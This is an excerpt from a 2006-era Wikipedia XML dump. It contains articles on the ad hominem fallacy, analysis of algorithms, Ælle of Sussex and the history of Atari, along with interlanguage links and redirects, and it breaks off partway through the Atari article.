
==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/8 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050514.html ''The New York Times'': On This Day]
-----

[[April 7]] - [[April 9]] - [[March 8]] - [[May 8]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:8 April]]
[[ar:8 إبريل]]
[[an:8 d'abril]]
[[ast:8 d'abril]]
[[bg:8 април]]
[[be:8 красавіка]]
[[bs:8. april]]
[[ca:8 d'abril]]
[[ceb:Abril 8]]
[[cv:Ака, 8]]
[[co:8 d'aprile]]
[[cs:8. duben]]
[[cy:8 Ebrill]]
[[da:8. april]]
[[de:8. April]]
[[et:8. aprill]]
[[el:8 Απριλίου]]
[[es:8 de abril]]
[[eo:8-a de aprilo]]
[[eu:Apirilaren 8]]
[[fo:8. apríl]]
[[fr:8 avril]]
[[fy:8 april]]
[[ga:8 Aibreán]]
[[gl:8 de abril]]
[[ko:4월 8일]]
[[hr:8. travnja]]
[[io:8 di aprilo]]
[[id:8 April]]
[[ia:8 de april]]
[[ie:8 april]]
[[is:8. apríl]]
[[it:8 aprile]]
[[he:8 באפריל]]
[[jv:8 April]]
[[ka:8 აპრილი]]
[[csb:8 łżëkwiôta]]
[[ku:8'ê avrêlê]]
[[lt:Balandžio 8]]
[[lb:8. Abrëll]]
[[li:8 april]]
[[hu:Április 8]]
[[mk:8 април]]
[[ms:8 April]]
[[nap:8 'e abbrile]]
[[nl:8 april]]
[[ja:4月8日]]
[[no:8. april]]
[[nn:8. april]]
[[oc:8 d'abril]]
[[pl:8 kwietnia]]
[[pt:8 de Abril]]
[[ro:8 aprilie]]
[[ru:8 апреля]]
[[se:Cuoŋománu 8.]]
[[sco:8 Aprile]]
[[sq:8 Prill]]
[[scn:8 di aprili]]
[[simple:April 8]]
[[sk:8. apríl]]
[[sl:8. april]]
[[sr:8. април]]
[[fi:8. huhtikuuta]]
[[sv:8 april]]
[[tl:Abril 8]]
[[tt:8. Äpril]]
[[te:ఏప్రిల్ 8]]
[[th:8 เมษายน]]
[[vi:8 tháng 4]]
[[tr:8 Nisan]]
[[uk:8 квітня]]
[[ur:8 اپریل]]
[[wa:8 d' avri]]
[[war:Abril 8]]
[[zh:4月8日]]
[[pam:Abril 8]]</text>
    </revision>
  </page>
  <page>
    <title>Ad hominem</title>
    <id>2226</id>
    <revision>
      <id>42042010</id>
      <timestamp>2006-03-03T11:46:07Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Modifying: es</comment>
      <text xml:space="preserve">An '''ad hominem''' argument, also known as '''argumentum ad hominem''' ([[Latin]], literally &quot;argument to the man&quot;) or '''attacking the messenger''', is a [[logical fallacy]] that involves replying to an argument or assertion by attacking the person presenting the argument or assertion rather than the argument itself.

The derived [[neologism]] ''ad feminam'' is more specifically used to refer to sexist prejudice directed towards women. (For example, &quot;Their recourse ... to ad feminam attacks evidences the chilly climate for women's leadership on campus.&quot;) ''Ad hominem'' does not pertain to the male sex, as ''[[Homo (genus)|homo]]'' in Latin refers to all humans; thus certain usage of &quot;ad feminam&quot; may be considered redundant, or even erroneous: 
*&quot;... in which both or multiple parties ... avoid ad hominem and ad feminam judgements ...&quot; (Barbara Levy Simon)
*&quot;Almost any ad hominem (or, in this case, ad feminam) response ...&quot; (Marsha M Linehan)

==''Ad hominem'' as logical fallacy==
A (fallacious) ad hominem argument has the basic form:

#''A'' makes claim ''B'';
#there is something objectionable about ''A'',
#therefore claim ''B'' is false.
The first statement is called a 'factual claim' and is the pivot point of much debate.
The last statement is referred to as an 'inferential claim' and represents the reasoning process. There are two types of inferential claim, explicit and implicit.
Arguments that (fallaciously) rely on the positive aspects of the person for the truth of the conclusion are discussed under ''[[appeal to authority]]''.

Ad hominem is one of the best-known of the logical fallacies usually enumerated in introductory [[logic]] and [[critical thinking]] textbooks. Both the fallacy itself, and accusations of having committed it, are often brandished in actual discourse (see also [[Argument from fallacy]]).  As a technique of [[rhetoric]], it is powerful and used often, despite its lack of subtlety.

==Usage==
An  ''ad hominem'' fallacy consists of asserting that someone's argument is wrong and/or they are wrong to argue at all ''purely'' because of something discreditable/not-authoritative about the person or those persons cited by them rather than addressing the soundness of the argument itself. The implication is that the person's argument and/or ability to argue correctly lacks authority. Merely insulting another person in the middle of otherwise rational discourse does not necessarily constitute an ad hominem fallacy. It must be clear that the purpose of the characterization is to discredit the person offering the argument, and, specifically, to invite others to discount his arguments. In the past, the term ''ad hominem'' was sometimes used more literally, to describe an argument that was based on an individual, or to describe any personal attack. But this is not how the meaning of the term is typically introduced in modern logic and rhetoric textbooks, and logicians and rhetoricians are widely agreed that this use is incorrect.  

'''Examples''':
:&quot;You claim that this man is innocent, but you cannot be trusted since you are a criminal as well.&quot;

:&quot;You feel that abortion should be legal, but I disagree because you are uneducated and poor.&quot;

Not all ''ad hominem'' attacks are insulting: 

'''Example''': 
:&quot;Paula says the umpire made the correct call, but this is false because Paula is too important to pay attention to the game.&quot;

This is an ''ad hominem'' fallacy, even though it is saying something positive about the person, because it is addressing the person and not the topic in dispute.

Ironically, accusing an opponent of ''ad hominem'' can itself be an example of ''ad hominem'' if it is worded as an insult: &quot;I'm not going to stand here and let him insult me!&quot; or &quot;My opponent is resorting to logical fallacy to win.&quot; or &quot;Since he is out of good argument, he's attacking me.&quot; (partial [[Argument from silence]])

==Validity==
''Ad hominem'' is fallacious when applied to deduction, and not the evidence (or premise) of an argument.  Evidence may be doubted or rejected based on the source for reasons of [[credibility]], but to doubt or reject a [[Deductive reasoning|deduction]] based on the source is the ''ad hominem'' fallacy.

Premises discrediting the person can exist in [[validity|valid]] arguments, when the person being criticized is the sole source for a piece of evidence used in one of his arguments.

#''A'' committed perjury when he said ''Q''
#We should not accept testimony for which perjury was committed
#therefore, ''A'' 's testimony for ''Q'' should be rejected


==Subtypes==
Three traditionally identified varieties are '''ad hominem abusive''', '''ad hominem circumstantial''', and '''ad hominem tu quoque'''. 

===Ad hominem abusive===
Ad hominem abusive (also called ''argumentum ad personam'') usually and most notoriously involves insulting one's opponent, but can also involve pointing out factual but damning character flaws or actions. The reason that this is fallacious is that &amp;mdash; usually, anyway &amp;mdash; insults and even damaging facts simply do not undermine what logical support there might be for one's opponent's arguments or assertions; ''argumentum ad personam'' short-circuits these potential arguments from logic in favor of a direct attack on the opponent's authority.

'''Example:''' 
:&quot;You can't believe Jack when he says there is no [[god]] ''because'' he doesn't even have a job.&quot;

'''Example 2:'''
This can be called the internet example, or the childish example. Somebody disproves a [[internet troll|troll]], or a bully's argument, and they respond with: &quot;Yeah, but you're gay!.&quot; The logical fallacy is that because the person is accused of being homosexual, their argument is invalid.

===Ad hominem circumstantial===
Ad hominem circumstantial involves pointing out that someone is in circumstances such that he is disposed to take a particular position. Essentially, circumstantial ad hominem constitutes an attack on the bias of a person. The reason that this is fallacious is that it simply does not make one's opponent's arguments, from a logical point of view, any less credible to point out that one's opponent is disposed to argue that way. Such arguments are not necessarily ''[[Rationality|irrational]]'', but are not correct in strict logic. This illustrates one of the differences between rationality and logic.

'''Examples:'''
:&quot;Tobacco company representatives are wrong when they say smoking doesn't seriously affect your health, ''because'' they're just defending their own multi-million-dollar financial interests.&quot; 

:&quot;He's physically addicted to nicotine. Of course he defends smoking!”

The [[Mandy Rice-Davies]] ploy, &quot;Well, he would [say that], wouldn't he?&quot; is a superb use of this fallacy.

===Ad hominem tu quoque===
Ad hominem tu quoque (literally, &quot;at the person, you too&quot;) could be called the &quot;hypocrisy&quot; argument. It occurs when a person's claim is dismissed or concluded as false either because the claim is about actions the claimant or another individual has engaged in ''too'', or because the claim is inconsistent with other claims that the person has made. The tu quoque fallacy mimics the legitimate use of the principle of ethical symmetry. The error is that while expressing &quot;fair play&quot; sentiments, what the argument is actually advocating is &quot;equal rights for foul play.&quot; In &quot;fair play&quot;, if one reasoner is not entitled to use a particular appeal, then no other reasoner may use it either. It does not entitle reasoners to use illegitimate appeals because other reasoners have used, possibly without challenge, similar illegitimate appeals. That the illegitimate appeal has been used before does not make it legitimate. 

====You-too version====
This form of the argument is as follows:
:''A'' makes criticism ''P''.
:''A'' is also guilty of ''P''.
:Therefore, ''P'' is dismissed. 

This is an instance of the [[two wrongs make a right (fallacy)|two wrongs make a right]] fallacy.

Example:
:&quot;''You cannot accuse me of [[libel]] because you yourself have ''also'' been convicted of libel.''&quot;
:&quot;''You cannot complain about my [[Tobacco smoking|smoking]] because you smoke ''too''.&quot;

:''[[United States]]: the [[Soviet Union]]'s [[human rights]] record is questionable.''&lt;br&gt;
:''Soviet Union: [[And you are lynching Negroes]].''

====Inconsistency version====
This form of the argument is as follows:
:A makes claim P.
:A has ''also'' made claims which are inconsistent with P.
:Therefore, P is false (or is dismissed).

If the conclusion is that &quot;P is false&quot;, then this is a ''logical fallacy'' because the conclusion that P is false does not follow from the premises; even if A has made past claims which are inconsistent with P, it does not necessarily prove that P is either true or false.

Example:
:''&quot;You say [[airplane]]s are able to fly because of the laws of [[physics]], but this is false because twenty years ago you also said airplanes fly because of [[magic (paranormal)|magic]].&quot;''
:''&quot;US Democrats say that we shouldn't participate in war in Iraq, but they supported it after 9/11.&quot;''
:''&quot;US Republicans say that CIA intelligence is faulty, but they relied on it when we sent troops to Iraq.&quot;''

==Taxonomy==
This form of the ''argumentum ad hominem'' is a [[genetic fallacy]] and [[red herring (fallacy)|red herring]], and is often but not necessarily an [[appeal to emotion]]. Argumentum ad hominem includes [[poisoning the well]].

==See also==
{{wiktionarypar|ad hominem}}

*&quot;[[And you are lynching Negroes]]&quot;
*[[fundamental attribution error]]
*[[validity]]



[[Category:Logical fallacies]]
[[Category:Latin logical phrases]]

[[ca:Ad hominem]]
[[de:Argumentum ad hominem]]
[[el:Ad hominem]]
[[es:Argumentum ad hominem]]
[[fr:Ad hominem]]
[[is:Argumentum ad hominem]]
[[he:אד הומינם]]
[[lt:Argumentas prieš žmogų]]
[[hu:Argumentum ad hominem]]
[[nl:Ad hominem]]
[[no:Ad hominem-argument]]
[[pt:Argumentum ad hominem]]
[[simple:Ad hominem]]
[[sv:Ad hominem-argument]]
[[tl:Ad hominem]]
[[tr:Ad hominem]]
[[uk:Argumentum ad Hominem]]</text>
    </revision>
  </page>
  <page>
    <title>A fortiori</title>
    <id>2227</id>
    <revision>
      <id>33378113</id>
      <timestamp>2005-12-31T14:30:13Z</timestamp>
      <contributor>
        <username>Silence</username>
        <id>84942</id>
      </contributor>
      <text xml:space="preserve">#redirect [[List of Latin phrases (A–E)#A]]</text>
    </revision>
  </page>
  <page>
    <title>Argumentum ad hominum</title>
    <id>2228</id>
    <revision>
      <id>15900660</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Ad hominem]]
</text>
    </revision>
  </page>
  <page>
    <title>Analysis of algorithms</title>
    <id>2230</id>
    <revision>
      <id>39883147</id>
      <timestamp>2006-02-16T15:18:06Z</timestamp>
      <contributor>
        <username>Kku</username>
        <id>5846</id>
      </contributor>
      <minor />
      <comment>Computational complexity theory</comment>
      <text xml:space="preserve">To '''analyze an [[algorithm]]''' is to determine the amount of resources (such as time and storage) necessary to execute it. Most algorithms are designed to work with inputs of arbitrary length. Usually the '''efficiency''' or '''[[Computational complexity theory|complexity]]''' of an algorithm is stated as a function relating the [[problem size|input length]] to the number of steps ('''time complexity''') or storage locations ('''space or memory complexity''') required to execute the algorithm. 

Algorithm analysis is an important part of a broader [[computational complexity theory]], which provides theoretical estimates for the resources needed by any algorithm which solves a given computational problem. These estimates provide an insight into reasonable directions of search of efficient algorithms.

In theoretical analysis of algorithms it is common to estimate their complexity in '''asymptotic sense''', i.e., to estimate the complexity function for reasonably large length of input. [[Big O notation]], [[Big O notation|omega]] notation and [[Big O notation|theta]] notation are used to this end. For instance, [[binary search]] is said to run an amount of steps proportional to a logarithm, or in O(log(n)), colloquially &quot;in logarithmic time&quot;. Usually asymptotic estimates are used because different [[implementation]]s of the same algorithm may differ in efficiency. However the efficiencies of any two &quot;reasonable&quot; implementations of a given algorithm are related by a constant multiplicative factor  called '''hidden constant'''.

Exact (not asymptotic) measures of efficiency can sometimes be computed but they usually require certain assumptions concerning the particular implementation of the algorithm, called [[model of computation]]. A model of computation may be defined in terms of an [[abstract machine|abstract computer]], e.g., [[Turing machine]], and/or by postulating that certain operations are executed in unit time.
For example, if the sorted set to which we apply [[binary search]] has n elements, and we can guarantee that a single binary lookup can be done in unit time, then at most log&lt;sub&gt;2&lt;/sub&gt; N + 1 time units are needed to return an answer.

Exact measures of efficiency are useful to the people who actually implement and use algorithms, because they are more precise and thus enable them to know how much time they can expect to spend in execution. To some people (e.g. game programmers), a hidden constant can make all the difference between success and failure.

Time efficiency estimates depend on what we define to be a step. For the analysis to make sense, the time required to perform a step must be guaranteed to be bounded above by a constant. One must be careful here; for instance, some analyses count an addition of two numbers as a step. This assumption may not be warranted in certain contexts. For example, if the numbers involved in a computation may be arbitrarily large, addition no longer can be assumed to require constant time (compare the time you need to add two 2-digit integers and two 1000-digit integers using a pen and paper).

==See also==

* [[Donald Knuth]]

==References==

* [[Thomas H. Cormen]], [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]]. ''[[Introduction to Algorithms]]'', Second Edition. MIT Press and McGraw-Hill, 2001. ISBN 0262032937. Chapter 1: Foundations, pp.3&amp;ndash;122.


[[Category:Computational complexity theory]]
[[Category:Algorithms]]

[[fa:تحلیل الگوریتم‌ها]]
[[pt:Análise de algoritmos]]
[[ru:Теория алгоритмов]]
[[sl:Časovna zahtevnost]]</text>
    </revision>
  </page>
  <page>
    <title>Aum Supreme Truth</title>
    <id>2232</id>
    <revision>
      <id>15900664</id>
      <timestamp>2004-10-09T04:54:26Z</timestamp>
      <contributor>
        <username>Nat Krause</username>
        <id>40885</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Aum Shinrikyo]]</comment>
      <text xml:space="preserve">#REDIRECT [[Aum Shinrikyo]]</text>
    </revision>
  </page>
  <page>
    <title>Aelle of Sussex</title>
    <id>2233</id>
    <revision>
      <id>37771763</id>
      <timestamp>2006-02-02T01:37:39Z</timestamp>
      <contributor>
        <username>Silsor</username>
        <id>26195</id>
      </contributor>
      <minor />
      <comment>typos</comment>
      <text xml:space="preserve">{{POV}}

'''Ælle ''' was  king of the [[Kingdom of Sussex|South Saxons]] from [[477]] to perhaps as late as [[514]], and was named [[Bretwalda]] by [[Bede]], who adds that he was overlord of the [[English people|English]] south of the [[Humber]] river.

Our source for the events of Ælle's life (besides the short mention in Bede's ''Ecclesiastical History'') is the [[Anglo-Saxon Chronicle]], compiled in 891.  It states that he landed in Britain in [[477]] with three ships and his three sons Cymen, Wlencing, and [[Cissa of Sussex|Cissa]] at Cymenes ora, where &quot;they killed many of the Welsh, and drove the rest into the wood that is called Anredsleage.&quot; For the year [[485]], the Chronicle records that he again fought the &quot;Welsh&quot; at the stream of Mearcread. Then in [[491]], Ælle with the help of Cissa successfully besieged [[Anderida]] (also identified as Pevensey), and slew all of the inhabitants. And with that last entry, the Chronicle contains no more records of this warchief; we have neither a record of the time that he died, nor the means, nor the events in the kingdom of the South Saxons that succeeded his death until the baptism of its king Æthelwalh around [[675]].

The Anglo-Saxon Chronicle at this point begins narrating the events of the founding of the West Saxon kingdom, or [[Wessex]], so it is possible that the scribe assembling this chronicle forgot to return to the events of Ælle's life. Alaistar Campbell, in examining the chronology of this part of the Chronicle, notes that at several places events are duplicated at 28 year intervals, suggesting that the sources from which the composing scribe assembled the Chronicle were based on 28-year [[Easter]] Tables, and that the annal that mentioned the later events of Ælle's life were mislaid.

Ælle’s career may be largely fictional. He is said to have arrived in three ships, with three sons, and fought three battles. The three ships motif occurs in other myths: &quot;According to their own legend, reported by the mid-6th-century Gothic historian Jordanes, the Goths originated in southern Scandinavia and crossed in three ships under their king Berig to the southern shore of the Baltic Sea, where they settled…&quot; [http://www.britannica.com/eb/article-9037486].

The story of Ælle is a heroic Old English legend which explains the acquisition of Sussex. An entirely different and equally implausible British (Welsh) story was preserved by Nennius. He stated that Hengist treacherously seized the British king Vortigern and demanded the cession of Essex and Sussex as ransom for the king: ''Hengistus sicut dixerat, vociferatus est et omnes seniores trecenti Guorthigirni regis iugulati sunt et ipse solus captus et catenatus est et regiones plurimas pro redemptione enimae suae illis tribuit, id est Estsaxum, Sutsaxum'' [http://www.thelatinlibrary.com/histbrit.html].

It is probable that Saxon migrants had been colonizing the area for decades, and thus Saxons already heavily populated the region before the recorded dates of Hengist and Ælle. In late Roman times, the coast was already known as '''the Saxon Shore''': “The Saxon Shore Forts were built by the Romans in the late 3rd century AD along the southeast coast of Britain to guard against increasing invasion and piracy by Germanic tribes including the Angles, Saxons, and Jutes” [http://www.athenapub.com/saxshor1.htm]. The Anglo-Saxon Chronicles were written in a dry, terse style for the purpose of informing rather than for entertaining, in contrast to the [[King Arthur|Arthurian]] stories or the story of Beowulf. Although the Chronicle entry describing AElle were written many years later, it is a mistake to assume that it is entirely fiction.

There are no easy answers to questions such as 'Who invented the motor car’: it was a gradual process over decades. Likewise, the colonization of South East England by Germanic migrants was a gradual process. But there is a human need for simple answers to complex question. It is for this reason that myths arise. The British (Welsh) myths assume that the provinces were lost due to foul trickery by wicked rebel mercenaries, while the English myths revolve around heroic deeds by noble warriors.

Slightly more relevant is that German king Fraomar and his people were settled in Britain by the Emperor Valentinian a century before the supposed arrival of Ælle: “Another point of view which has grown up from unfortunately reading only the Saxon Chronicle, is that Continental immigration began suddenly with the ‘three keels’. The evidence of tradition, and of tribal names, shows that there had been a continual flow of population into Britain before the Roman age. The Atrebates, the Belgae, the Parisii, the Brigantes, and others, are equally familiar names on both sides of the channel. Nor was this process stopped even by Rome: it was only regulated. Rome brought over masses of troops largely recruited from the Continent, even to the Huns on the Wall. Aurelius brought multitudes of the Marcomanni to settle in Britain. Similarly did Probus, with the colonies of Vandals and Burgundians. The Franks raided the south and occupied London under Allectus. Constantine was accompanied by the king of the Alamanni - and doubtless a good following - when he came over to Britain. Valentinian removed Fraomar and his tribe of Alamanni into Britain.” [http://www.sedwards.demon.co.uk/kafs/news/Tysilio%20Flinders%20Petrie-uncut.rtf]. However, once independent Germanic (English) kingdoms were established, there was a large immigration of their tribespeople to the island of Britain.

==See also==
*[[Anglo-Saxon Chronicle]]
*[[Kingdom of Sussex]]
*[[Kings of Sussex]]

[[Category:510s deaths]]
[[Category:Anglo-Saxon monarchs]]
[[de:Aelle (Sussex)]]
[[no:Aelle av Sussex]]</text>
    </revision>
  </page>
  <page>
    <title>Atari</title>
    <id>2234</id>
    <revision>
      <id>42101122</id>
      <timestamp>2006-03-03T21:05:25Z</timestamp>
      <contributor>
        <username>Nandesuka</username>
        <id>221935</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/165.247.175.83|165.247.175.83]] ([[User talk:165.247.175.83|talk]]) to last version by DrBob</comment>
      <text xml:space="preserve">{{Infobox Company |
  company_name = Atari, Inc. |
  company_logo = [[Image:atari_inc.gif]] |
  company_type = [[Public company|Public]] |
  foundation = [[1972]] |
  location = [[New York, N.Y.]] |
  key_people = [[Bruno Bonnell]], Chairman, CEO and Chief Creative Officer&lt;br&gt;[[Diane Price Baker]], Executive Vice President and Chief Financial Officer|
  industry = [[Computer and video games]] |
  products = ''[[Dragon Ball]]'' franchise&lt;br /&gt;[[Driver (video game)|''Driver'']] franchise |
  revenue = [[Image:red_down.png]]$468.9 million [[USD]] ([[2004]]) |
  num_employees = 1800 (2005) |
  homepage = [http://www.atari.com/ www.atari.com]
}}
:''For the concept ''Atari'' (&amp;#24403;&amp;#12383;&amp;#12426;) in the [[board game]] of [[Go (board game)|Go]], see [[Go terms#Atari|Atari (go term)]].''

'''Atari, Inc.''' {{NASDAQ|ATAR}} is a majority owned subsidiary of ''[[Infogrames Entertainment SA]]'' 
(IESA), encompassing its [[North America]]n operations. Atari develops, publishes and distributes games for all major [[video game console]]s, as well as for the [[personal computer]], and is currently one of the largest third-party publishers of [[Computer and video games|video games]] in the [[United States]].

The company that currently bears the Atari name was founded in 1993 under the name '''[[GT Interactive]]'''. GT Interactive was acquired by IESA in 1999 and renamed '''Infogrames, Inc.''' Infogrames acquired the Atari brand name from its purchase of [[Hasbro Interactive]], which in turn had acquired it from [[JT Storage|JTS Corporation]], which the original Atari had merged with in 1996. Infogrames, Inc. intermittently used the Atari name as a [[brand name]] for selected titles before IESA official changed the subsidiary's name to Atari, Inc. in 2003.

The original Atari was a pioneer in [[arcade game]]s, home [[video game console]]s, and [[personal computer]]s, and its dominance in those areas made it ''the'' major force in the [[computer]] entertainment industry in the early to mid-[[1980s]]. The brand has also been used at various times by [[Atari Games]], a separate company split off in 1984.

The name of the three-pronged Atari [[logo]] is &quot;Fuji&quot;.

==History==
[[Image:atari_logo.png|left|Original Atari logo]]
Since the early days of coin operated machines, Atari has been responsible for home consoles such as the [[Atari 2600]] (VCS); produced a series of [[Atari 8-bit family|eight-bit computers]] (Atari 400 &amp; 800); taken part in the 16 bit computer revolution with the [[Atari ST]]; made the revolutionary (for its time) 64-bit [[Atari Jaguar]]; and released a hand held video game console, the [[Atari Lynx]].

===The 1970s: The rise of a video game empire===
[[Image:Atari2600wood4.jpg|right|thumb| An early version of the Atari ''Video Computer System''.]]Founded in the United States in 1972 by [[Nolan Bushnell]] and Ted Dabney, Atari could be credited with starting the video arcade industry with the seminal [[PONG]]. The home version of PONG, which connected to a television set, was one of the first [[video game console]]s.

Atari Inc. was originally called [[Syzygy]], an astronomical term. However, as there already existed at least one company with that name (accounts varying as to whether it was a candle company or roofing company), Bushnell wrote down several words from the game [[Go (board game)|Go]], eventually choosing ''Atari'', a term that means that a [[Rules of go#Stones|stone]] or group of stones is in danger of being taken by one's opponent. The name &quot;Atari&quot; is arguably also rather more memorable in terms of spelling and pronunciation for most markets.

In 1973, Atari secretly spawned a &quot;competitor&quot; called [[Kee Games]], headed by long-time partner Joe Keenan, to circumvent the pinball distributor's insistence on exclusive distribution deals. Though the relationship to Atari was discovered in 1974, Joe Keenan did such a good job managing the subsidiary that he was promoted to president of Atari in 1974.

Bushnell sold Atari to [[Time-Warner|Warner Communications]] in 1976 for an estimated $28&amp;ndash;$32 million, using part of the money to buy the [[Folgers Mansion]]. He departed from the division in 1979. While part of Warner, Atari achieved its greatest success, selling millions of Atari 2600 consoles. At its peak, Atari accounted for a third of Warner's annual income and became the fastest-growing company in the history of the United States (at the time).

===The 1980s: Hurdles ahead===
Although the [[Atari 2600]] had garnered the lion's share of the home video game market, it experienced its first stiff competition in 1980 from [[Mattel|Mattel's]] [[Intellivision]], which featured ads touting its superior graphics capabilities relative to the 2600. Still, the 2600 remained the industry standard-bearer, due to its market superiority, and due to Atari featuring (by far) the greatest variety of game titles available.

However, Atari ran into problems in the early 1980s. Its [[home computer]], [[video game console]], and [[Video arcade|arcade]] divisions operated independently of one another and rarely cooperated. Faced with fierce competition and price wars in the game console and home computer markets, Atari was never able to follow on the success of the 2600. In 1982, Atari released disappointing versions of two highly publicized games, [[Pac-Man]] and [[E.T. (video game)|E.T.]], causing a pileup of unsold inventory and depressing prices. Also in 1982, Atari settled a court case with [[Activision]], a competing game developer primarily composed of disgruntled Atari ex-employees, officially opening the 2600 to third-party development. The market quickly became saturated, depressing prices further. In addition, in December 1982, Atari executives [[Ray Kassar]] and [[Dennis Groth]] were investigated for insider trading (later found to be false). Larry Emmons, employee No.3, retired in 1982. He was head of research and development of the small group of talented engineers in Grass Valley, California. The [[Atari 5200]] game console, released as a next-generation follow up to the 2600, was based on the [[Atari 800]] computer (but was incompatible with Atari 800 game cartridges), and its sales never met the company's expectations. It is rumored that in 1983, in response to a massive number of returned orders from distributors, [http://www.snopes.com/business/market/atari.asp Atari buried millions of unsold game cartridges] (the bulk of them consisting of two titles, Pac-Man and E.T.) in a [[New Mexico]] [[desert]] [[landfill]]. Howard Scott Warshaw (the programmer behind [[E.T. (video game)|E.T.]], [[Yars' Revenge]], [[Raiders of the Lost Ark (Atari 2600)|Raiders of the Lost Ark]], and [http://www.atariage.com/software_page.html?SoftwareLabelID=2688 Saboteur]) [http://beepbopboop.heavysixer.com/index.php?option=content&amp;task=view&amp;id=47&amp;Itemid=67] still reflects fondly on his Atari days.

Still, Atari held a formidable position in the world video game market. They were the number one console maker in every market except [[Japan]], whose market belonged to [[Nintendo]], which had released their first game console, the [[Famicom]] (known to the rest of the world as the [[Nintendo Entertainment System|NES]]) in 1983. The system took Japan by storm, and Nintendo began to look to other markets. They approached Atari and offered a licensing deal: Atari would build and sell the system, paying Nintendo a royalty. The deal was in the works, and the two companies tentatively decided to sign the agreement at the 1983 Summer [[Consumer Electronics Show|CES]]. Unfortunately, at that same show [[Coleco]] was showing their new [[Coleco Adam|Adam computer]], and the display unit was running Nintendo's [[Donkey Kong (arcade game)|Donkey Kong]]. But Atari owned the rights to publish Donkey Kong for computers. Atari CEO [[Ray Kassar]] had a fit, accusing Nintendo of double dealing with the Donkey Kong license. Nintendo in turn tore into Coleco, who only had the console rights to the game. In the coming month, Ray Kassar was forced to leave Atari, and executives involved in the Famicom deal were forced to start over again from scratch. 

These problems were followed by the infamous [[video game crash of 1983]], which caused losses that totaled more than $500 million. Warner's stock price slid from $60 to $20, and the company began searching for a buyer for its troubled division. As for Nintendo, Atari could no longer afford the Famicom deal, and eventually Nintendo would be forced to go it alone.

In [[July 1984]], Warner sold the home computing and game console divisions of Atari to [[Jack Tramiel]], the recently ousted founder of Atari competitor [[Commodore International]], under the name '''Atari Corporation''' for $240 million in stocks under the new company. Warner retained the arcade division, continuing it under the name [[Atari Games]] and eventually selling it to [[Namco]] in 1985. Warner also sold the fledgling '''Ataritel''' to [[Mitsubishi]].

[[Image:Atari 1040STf.jpg|left|thumb|280px|Atari ST]]

Under Tramiel's ownership, '''Atari Corp.''' used the remaining stock of game console inventory to keep the company afloat while they finished development of their 16-bit computer system the [[Atari ST]]. In 1985 they released their update to the 8-bit computer line, the Atari XE series, as well as the 16-bit [[Atari ST]] line. Then, in 1986, Atari launched two consoles designed under the Warner Atari - Atari 2600jr and the [[Atari 7800]] console (which saw limited release in 1984). Atari rebounded, producing a $25 million profit that year. The Atari ST line proved very successful (but mostly in Europe, not the U.S.), ultimately selling more than 4 million units. It was especially popular among musicians, as it had built in [[MIDI]] ports. Still, its closest competitor in the marketplace, the [[Commodore Amiga]], outsold it 3 to 2. Atari eventually released a line of inexpensive [[IBM PC compatible]]s as well as an MS-DOS compatible palm computer called the Atari Portfolio.

In 1989, Atari also released the [[Atari Lynx]], a handheld console with color graphics, to critical acclaim. However, a shortage of parts kept the system from being released nationwide for the 1989 Christmas season. As a result, the Lynx lost market share to Nintendo's [[Game Boy]], which had only a black and white display but was widely available. Also in 1989, Atari Corp. sued Nintendo for $250 million, alleging it had an illegal monopoly. Atari lost.

===The 1990s: Decline===
As the fortunes of Atari's ST and PC compatible computers faded, consoles and software again became the company's main focus. In 1993, Atari released its last console, the Jaguar. After a period of initial success, it, too, failed to meet expectations. It was not nearly as powerful as [[Sony Computer Entertainment|Sony Computer Entertainment's]] [[PlayStation]] or [[Sega|Sega's]] [[Sega Saturn|Saturn]] and lacked the extensive third party support its Japanese competitors had easily secured for their consoles.

By 1996, a series of successful lawsuits followed by profitable investments had left Atari with millions of dollars in the bank, but the failure of the Lynx and Jaguar left Atari without any products to sell. In addition, Tramiel and his family wanted out. The result was a rapid succession of changes in ownership. In July 1996, Atari merged with [[JT Storage|JTS Inc.]],a short-lived maker of hard disk drives, to form JTS Corp. Atari's role in the new company largely became a holder for the Atari properties and minor support, consequently the name largely disappeared from the market. 

Although the original Atari ceased to exist, a large amount of underground development remains for Atari's game systems and computers of the [[1970s]] and [[1980s]], and many of the retro-gaming conventions (such as World Of Atari, [[Classic Gaming Expo]], Philly Classic, and the Midwest Gaming Classic), focus largely on Atari. There are also websites dedicated to the release of new products for the original Atari consoles and computers, such as [[AtariAge]].

In [[March 1998]], JTS sold the Atari name and assets to Hasbro Interactive for $5 million&amp;mdash;less than a fifth of what Warner Communications had paid 22 years earlier. This transaction primarily involved the [[brand]] and [[intellectual property]], which now fell under the Atari Interactive division of Hasbro Interactive. The brand name changed hands again in [[December 2000]], when French software publisher [[Infogrames]] took over Hasbro Interactive.

In the meantime, [[Atari Games]] was bought out by its employees in 1986, who also founded [[Tengen (company)|Tengen]] to bring their arcade games in to the home. The new [[Time-Warner]] eventually started gaining more and more shares in the company until they eventually owned the company completely again by 1994. At that point Atari Games ceased to exist and became part of Time-Warner Interactive. By 1996, Time-Warner sold TWI to [[Williams (gaming company)|WMS Industries, Inc.]], owner of [[Midway Games|Midway]] at the time. WMS brought the properties under Midway (which it now renamed Midway Games Inc.), and re-instated the [[Atari Games]] name. In 1998, Midway was sold to its shareholders and spun off as a separate company. Over 1999-2000, Midway held closed door proceedings with Hasbro which ultimately led to Atari Games being renamed Midway Games West. Midway left the arcade industry in 2001, and shut down Midway Games West in 2003 - closing the chapter on what was left of the original Atari arcade division.

===The 2000s: Revival and re-release of Atari classics===
In [[October 2001]], [[Infogrames]] announced that it was &quot;reinventing&quot; the Atari brand with the launch of three new games. On [[May 7]], [[2003]], Infogrames officially reorganized its US subsidiary as a separate entity known as '''Atari, Inc.'''. It named its European operations to Atari Europe, and kept the main holdings company as Infogrames Entertainment.

[[Image:Atari Classics 10 in 1 TV Games.jpg|thumb|Atari 10-in-1 TV Game]]

